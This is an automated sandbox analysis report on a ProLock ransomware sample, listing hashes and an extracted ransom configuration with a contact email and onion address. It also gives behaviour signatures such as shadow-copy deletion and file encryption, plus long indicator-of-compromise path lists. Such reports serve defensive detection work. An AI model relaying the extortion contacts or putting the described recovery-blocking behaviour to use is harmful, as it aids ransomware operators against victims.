Analysis
-
max time kernel
386s -
max time network
363s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
20-10-2021 09:08
Static task
static1
Behavioral task
behavioral1
Sample
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe
Resource
win10-en-20210920
General
-
Target
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe
-
Size
14KB
-
MD5
3355ace345e98406bdb331ccad568386
-
SHA1
81d5888bb8d43d88315c040be1f51db6bb5cf64c
-
SHA256
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178
-
SHA512
55223ee6f387252a401e62cd5b619afafcb3d63cb33cd1b9a12d782dadc9e68b95062363863f70f13eb28f751da710b78161f7efda464d66b1f98741e56f50e1
Malware Config
Extracted
C:\[HOW TO RECOVER FILES].TXT
prolock
support981723721@protonmail.com
http://msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion
Signatures
-
ProLock Ransomware
Rebranded update of PwndLocker first seen in March 2020.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exedescription ioc process File renamed C:\Users\Admin\Pictures\CheckpointPush.crw.proLock.proLock.proLock.proLock.proLock => C:\Users\Admin\Pictures\CheckpointPush.crw.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\Users\Admin\Pictures\PublishApprove.tiff.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File renamed C:\Users\Admin\Pictures\PublishApprove.tiff.proLock.proLock.proLock.proLock.proLock => C:\Users\Admin\Pictures\PublishApprove.tiff.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\Users\Admin\Pictures\SkipDismount.crw.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File renamed C:\Users\Admin\Pictures\SkipDismount.crw.proLock.proLock.proLock.proLock.proLock => C:\Users\Admin\Pictures\SkipDismount.crw.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\Users\Admin\Pictures\SkipSplit.tiff.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File renamed C:\Users\Admin\Pictures\SkipSplit.tiff.proLock.proLock.proLock.proLock.proLock => C:\Users\Admin\Pictures\SkipSplit.tiff.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\Users\Admin\Pictures\CheckpointPush.crw.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe -
Drops startup file 3 IoCs
Processes:
taskmgr.exedescription ioc process File opened for modification \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\[how to recover files].txt taskmgr.exe File opened for modification \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini.prolock taskmgr.exe File opened for modification \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini.prolock.prolock taskmgr.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 64 IoCs
Processes:
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exedescription ioc process File opened for modification C:\DOCUME~1\Admin\APPLIC~1\MICROS~1\INTERN~1\QUICKL~1\USERPI~1\TaskBar\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\SendTo\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\ACCESS~2\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\STARTM~1\Programs\ACCESS~2\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\STARTM~1\Programs\SYSTEM~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\STARTM~1\Programs\ADMINI~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Default\SendTo\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\STARTM~1\Programs\MAINTE~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\DOCUME~1\MYPICT~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\APPLIC~1\MICROS~1\INTERN~1\QUICKL~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\STARTM~1\Programs\ACCESS~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\STARTM~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Default\STARTM~1\Programs\ACCESS~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\ACCESS~2\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\Startup\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\Pictures\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\Videos\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\Office16\1033\DATASE~1\DESKTOP.INI dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\ADMINI~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\ACCESS~2\SYSTEM~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\Desktop\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\DOCUME~1\MYPICT~1\CAMERA~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Default\STARTM~1\Programs\SYSTEM~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\ACCOUN~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\DOCUME~1\MYMUSI~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Default\STARTM~1\Programs\MAINTE~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\DOCUME~1\MYVIDE~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\ACCESS~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\Users\Admin\AppData\Local\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\History\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\MAINTE~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\AppData\Local\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\History\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\DOCUME~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\DOCUME~1\MYMUSI~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\DOCUME~1\MYPICT~1\SAVEDP~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\Links\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\STARTM~1\Programs\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\DOWNLO~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\SYSTEM~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\FAVORI~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\SAVEDG~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\Desktop\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\ACCESS~2\SYSTEM~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\Contacts\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\OneDrive\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\Recent\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~2\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\ADMINI~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\LIBRAR~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\MAINTE~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\Startup\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\AppData\Local\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\History\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\DOWNLO~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\Searches\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Admin\STARTM~1\Programs\Startup\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Default\STARTM~1\Programs\ACCESS~2\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\STARTM~1\Programs\SYSTEM~1\Desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Default\APPLIC~1\MICROS~1\INTERN~1\QUICKL~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\DOCUME~1\Public\DOCUME~1\desktop.ini dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe -
Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
vssadmin.exevssadmin.exedescription ioc process File opened (read-only) \??\D: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe -
Drops file in Program Files directory 64 IoCs
Processes:
dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exedescription ioc process File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\Tracker\reviews_super.gif dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\images\WIN8-S~1\arrow-left-pressed.gif dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\CLICKT~1\{9AC08~1\C2RManifest.officemui.msi.16.en-us.xml dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\UEV\TEMPLA~1\SettingsLocationTemplate2013.xsd.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\665__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\LICENS~1\ProPlus2019XC2RVL_MAKC2R-ul-phn.xrm-ms dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\Office16\LOGOIM~1\WinWordLogoSmall.scale-100.png dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~1\MICROS~2\root\Office16\MSIPC\no\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\Office16\PAGESIZE\PGLBL027.XML dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\app\dev\nls\ja-jp\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\MF\Pending.GRL.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\246__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\MICROS~1\DIAGNO~1\DOWNLO~1\WINDOWS.PERFTRACKESCALATIONS.xml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\264__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\Java\JDK18~1.0_6\include\win32\bridge\AccessBridgePackages.h dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\LICENS~1\MondoR_Grace-ul-oob.xrm-ms dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\715__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\PROVIS~1\{C8A32~1\Prov\RunTime\717__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~3\APPLIC~1\APPLIC~1\APPLIC~1\APPLIC~1\MICROS~1\UEV\INBOXT~1\MicrosoftOffice2016BackupWin32.xml.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock.proLock dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\LICENS~1\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\LICENS~1\PublisherR_OEM_Perp-ul-oob.xrm-ms dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\Office16\1033\QUICKS~1\Classic.dotx dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~1\MICROS~2\root\Office16\sdxs\FA0000~1\cardview\[HOW TO RECOVER FILES].TXT dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~1\MICROS~2\root\vfs\PROGRA~1\MICROS~1\THEMES16\ECHO\ECHO.ELM dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\app\dev\nls\ui-strings.js dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178.sample.exe File created C:\PROGRA~2\Adobe\ACROBA~1\Reader\WEBRES~1\RESOUR~1\static\js\plugins\CREATE~1\js\nls\he-il\[HOW TO RECOVER FILES].TXT 